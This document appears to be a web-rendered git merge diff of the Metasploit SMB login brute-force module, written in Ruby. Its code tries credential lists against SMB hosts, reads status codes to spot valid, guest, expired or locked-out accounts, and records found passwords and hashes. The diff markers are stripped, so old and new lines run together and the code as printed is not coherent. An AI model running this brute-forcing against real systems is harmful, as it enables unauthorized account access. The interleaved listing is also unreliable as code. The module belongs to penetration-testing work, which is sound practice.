Merge remote branch 'Meatballs1/smb_login_update'
Thus ends our long national nightmare.unstable
Tod Beardsley
commit
4d633016aa
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@ -5,7 +5,6 @@
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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@ -32,17 +31,29 @@ class Metasploit3 < Msf::Auxiliary
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and connected to a database this module will record successful
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logins and hosts so you can track your access.
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},
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'Author' => 'tebo <tebo [at] attackresearch [dot] com>',
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'Author' => [
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'tebo <tebo [at] attackresearch [dot] com>', # Original
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'Ben Campbell <eat_meatballs [at] hotmail.co.uk>' # Refactoring
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],
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'References' =>
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[
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[ 'CVE', '1999-0506'] # Weak password
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[ 'CVE', '1999-0506'], # Weak password
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],
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'License' => MSF_LICENSE
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)
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deregister_options('RHOST','USERNAME','PASSWORD')
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@accepts_bogus_domains = []
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@accepts_guest_logins = {}
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@correct_credentials_status_codes = ["STATUS_INVALID_LOGON_HOURS",
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"STATUS_INVALID_WORKSTATION",
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"STATUS_ACCOUNT_RESTRICTION",
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"STATUS_ACCOUNT_EXPIRED",
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"STATUS_ACCOUNT_DISABLED",
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"STATUS_ACCOUNT_RESTRICTION",
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"STATUS_PASSWORD_EXPIRED",
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"STATUS_PASSWORD_MUST_CHANGE",
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"STATUS_LOGON_TYPE_NOT_GRANTED"]
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# These are normally advanced options, but for this module they have a
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# more active role, so make them regular options.
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@ -50,39 +61,32 @@ class Metasploit3 < Msf::Auxiliary
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[
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OptString.new('SMBPass', [ false, "SMB Password" ]),
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OptString.new('SMBUser', [ false, "SMB Username" ]),
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OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']),
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OptString.new('SMBDomain', [ false, "SMB Domain", '']),
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OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
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OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]),
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], self.class)
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end
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def run_host(ip)
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print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
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if accepts_bogus_logins?
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domain = datastore['SMBDomain'] || ""
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if accepts_bogus_logins?(domain)
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print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.")
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return
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end
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begin
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if accepts_guest_logins?
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print_error("#{ip} - This system allows guest sessions with any credentials, these instances will not be reported.")
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unless datastore['RECORD_GUEST']
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if accepts_guest_logins?(domain)
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print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.")
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end
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end unless datastore['RECORD_GUEST']
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end
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begin
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each_user_pass do |user, pass|
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result = try_user_pass(user, pass)
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if result == :next_user
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unless user == user.downcase
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result = try_user_pass(user.downcase, pass)
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if result == :next_user
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print_status("Username is case insensitive")
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user = user.downcase
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end
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end
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report_creds(user,pass) if @accepts_guest_logins.select{ |g_host, g_creds| g_host == ip and g_creds == [user,pass] }.empty?
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end
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result = try_user_pass(domain, user, pass)
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end
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rescue ::Rex::ConnectionError
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nil
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@ -90,23 +94,47 @@ class Metasploit3 < Msf::Auxiliary
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end
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def accepts_guest_logins?
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guest = false
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orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass']
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datastore["SMBUser"] = Rex::Text.rand_text_alpha(8)
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datastore["SMBPass"] = Rex::Text.rand_text_alpha(8)
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# Connection problems are dealt with at a higher level
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def check_login_status(domain, user, pass)
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connect()
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status_code = ""
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begin
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smb_login()
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rescue ::Rex::Proto::SMB::Exceptions::LoginError
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
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simple.login( datastore['SMBName'],
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user,
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pass,
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domain,
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datastore['SMB::VerifySignature'],
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datastore['NTLM::UseNTLMv2'],
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datastore['NTLM::UseNTLM2_session'],
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datastore['NTLM::SendLM'],
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datastore['NTLM::UseLMKey'],
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datastore['NTLM::SendNTLM'],
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datastore['SMB::Native_OS'],
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datastore['SMB::Native_LM'],
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{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost})
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# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
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simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
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status_code = 'STATUS_SUCCESS'
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
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status_code = e.get_error(e.error_code)
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rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
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status_code = e.error_reason
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ensure
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disconnect()
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end
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begin
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guest = true
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return status_code
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end
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# If login is succesful and auth_user is unset
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# the login was as a guest user.
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def accepts_guest_logins?(domain)
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guest = false
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user = Rex::Text.rand_text_alpha(8)
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pass = Rex::Text.rand_text_alpha(8)
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guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?)
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if guest_login
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@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
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report_note(
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:host => rhost,
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@ -117,180 +145,131 @@ class Metasploit3 < Msf::Auxiliary
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:data => 'accepts guest login from any account',
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:update => :unique_data
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)
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end unless(simple.client.auth_user)
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disconnect()
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datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
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return guest
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end
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return guest_login
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end
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def accepts_bogus_logins?
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orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass']
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datastore["SMBUser"] = Rex::Text.rand_text_alpha(8)
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datastore["SMBPass"] = Rex::Text.rand_text_alpha(8)
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# Connection problems are dealt with at a higher level
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connect()
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begin
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smb_login()
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rescue ::Rex::Proto::SMB::Exceptions::LoginError
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
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end
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disconnect()
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datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
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return simple.client.auth_user ? true : false
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# If login is successul and auth_user is set
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# then bogus creds are accepted.
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def accepts_bogus_logins?(domain)
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user = Rex::Text.rand_text_alpha(8)
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pass = Rex::Text.rand_text_alpha(8)
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bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?)
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return bogus_login
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end
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def accepts_bogus_domains?(addr)
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if @accepts_bogus_domains.include? addr
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return true
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end
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orig_domain = datastore['SMBDomain']
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datastore['SMBDomain'] = Rex::Text.rand_text_alpha(8)
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# This logic is not universal ie a local account will not care about workgroup
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# but remote domain authentication will so check each instance
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def accepts_bogus_domains?(user, pass, rhost)
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domain = Rex::Text.rand_text_alpha(8)
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status = check_login_status(domain, user, pass)
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connect()
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begin
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smb_login()
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rescue ::Rex::Proto::SMB::Exceptions::LoginError
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
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bogus_domain = valid_credentials?(status)
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if bogus_domain
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vprint_status "Domain is ignored"
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end
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disconnect()
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datastore['SMBDomain'] = orig_domain
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if simple.client.auth_user
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@accepts_bogus_domains << addr
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return true
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else
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return false
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end
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return valid_credentials?(status)
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end
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def try_user_pass(user, pass)
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# The SMB mixins require the datastores "SMBUser" and
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# "SMBPass" to be populated.
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datastore["SMBPass"] = pass
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orig_domain = datastore["SMBDomain"]
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def valid_credentials?(status)
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return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
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end
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def try_user_pass(domain, user, pass)
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# Note that unless PRESERVE_DOMAINS is true, we're more
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# than happy to pass illegal usernames that contain
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# slashes.
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if datastore["PRESERVE_DOMAINS"]
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d,u = domain_username_split(user)
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datastore["SMBUser"] = u.to_s.gsub(/<BLANK>/i,"")
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datastore["SMBDomain"] = d if d
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else
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datastore["SMBUser"] = user.to_s.gsub(/<BLANK>/i,"")
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user = u
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domain = d if d
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end
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# Connection problems are dealt with at a higher level
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connect()
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user = user.to_s.gsub(/<BLANK>/i,"")
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status = check_login_status(domain, user, pass)
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begin
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smb_login()
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
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if e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
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print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.get_error(e.error_code)})")
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disconnect()
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datastore["SMBDomain"] = orig_domain
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return :skip_user
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# Match original output message
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if domain.empty? || domain == "."
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domain_part = ""
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else
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domain_part = " \\\\#{domain}"
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end
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output_message = "#{rhost}:#{rport}#{domain_part} - %s (#{smb_peer_os}) #{user} : #{pass} [#{status}]"
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case status
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when 'STATUS_SUCCESS'
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# Auth user indicates if the login was as a guest or not
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if(simple.client.auth_user)
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print_good(output_message % "SUCCESSFUL LOGIN")
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validuser_case_sensitive?(domain, user, pass)
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report_creds(domain,user,pass,true)
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else
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raise e
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if datastore['RECORD_GUEST']
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print_status(output_message % "GUEST LOGIN")
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report_creds(domain,user,pass,true)
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elsif datastore['VERBOSE']
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print_status(output_message % "GUEST LOGIN")
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end
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end
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rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
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case e.error_reason
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when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
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# Nothing interesting
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vprint_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
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disconnect()
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datastore["SMBDomain"] = orig_domain
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return
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when 'STATUS_ACCOUNT_DISABLED'
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report_note(
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:host => rhost,
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:proto => 'tcp',
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:sname => 'smb',
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:port => datastore['RPORT'],
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:type => 'smb.account.info',
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:data => {:user => user, :status => "disabled"},
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:update => :unique_data
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)
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when 'STATUS_PASSWORD_EXPIRED'
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report_note(
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:host => rhost,
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:proto => 'tcp',
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:sname => 'smb',
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:port => datastore['RPORT'],
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:type => 'smb.account.info',
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:data => {:user => user, :status => "expired password"},
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:update => :unique_data
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)
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|
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when 'STATUS_ACCOUNT_LOCKED_OUT'
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report_note(
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:host => rhost,
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:proto => 'tcp',
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:sname => 'smb',
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:port => datastore['RPORT'],
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:type => 'smb.account.info',
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:data => {:user => user, :status => "locked out"},
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:update => :unique_data
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)
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end
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print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
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disconnect()
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datastore["SMBDomain"] = orig_domain
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return :skip_user # These reasons are sufficient to stop trying.
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end
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|
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if(simple.client.auth_user)
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print_status("Auth-User: #{simple.client.auth_user.inspect}")
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print_good("#{smbhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) '#{splitname(user)}' : '#{pass}'")
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when *@correct_credentials_status_codes
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print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" )
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report_creds(domain,user,pass,false)
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validuser_case_sensitive?(domain, user, pass)
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when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
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vprint_error(output_message % "FAILED LOGIN")
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else
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print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}")
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@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
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vprint_error(output_message % "FAILED LOGIN")
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end
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disconnect()
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# If we get here then we've found the password for this user, move on
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# to the next one.
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datastore["SMBDomain"] = orig_domain
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return :next_user
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end
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def report_creds(user,pass)
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def validuser_case_sensitive?(domain, user, pass)
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if user == user.downcase
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user = user.upcase
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else
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user = user.downcase
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end
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|
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status = check_login_status(domain, user, pass)
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case_insensitive = valid_credentials?(status)
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if case_insensitive
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vprint_status("Username is case insensitive")
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end
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return case_insensitive
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end
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def note_creds(domain,user,pass,reason)
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report_note(
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:host => rhost,
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:proto => 'tcp',
|
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:sname => 'smb',
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:port => datastore['RPORT'],
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||||
:type => 'smb.account.info',
|
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:data => {:user => user, :pass => pass, :status => reason},
|
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:update => :unique_data
|
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)
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end
|
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|
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def report_creds(domain,user,pass,active)
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login_name = ""
|
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|
||||
if accepts_bogus_domains?(user,pass,rhost)
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login_name = user
|
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else
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login_name = "#{domain}\\#{user}"
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end
|
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|
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report_hash = {
|
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:host => rhost,
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:port => datastore['RPORT'],
|
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:sname => 'smb',
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:user => login_name,
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||||
:pass => pass,
|
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:source_type => "user_supplied",
|
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:active => true
|
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:active => active
|
||||
}
|
||||
if accepts_bogus_domains? rhost
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(user)
|
||||
report_hash[:user] = u
|
||||
else
|
||||
report_hash[:user] = "#{datastore["SMBUser"]}"
|
||||
end
|
||||
else
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(user)
|
||||
report_hash[:user] = "#{datastore["SMBDomain"]}/#{u}"
|
||||
else
|
||||
report_hash[:user] = "#{datastore["SMBDomain"]}/#{datastore["SMBUser"]}"
|
||||
end
|
||||
end
|
||||
|
||||
if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
|
||||
report_hash.merge!({:type => 'smb_hash'})
|
||||
|
|
@ -299,5 +278,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
report_auth_info(report_hash)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
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Reference in New Issue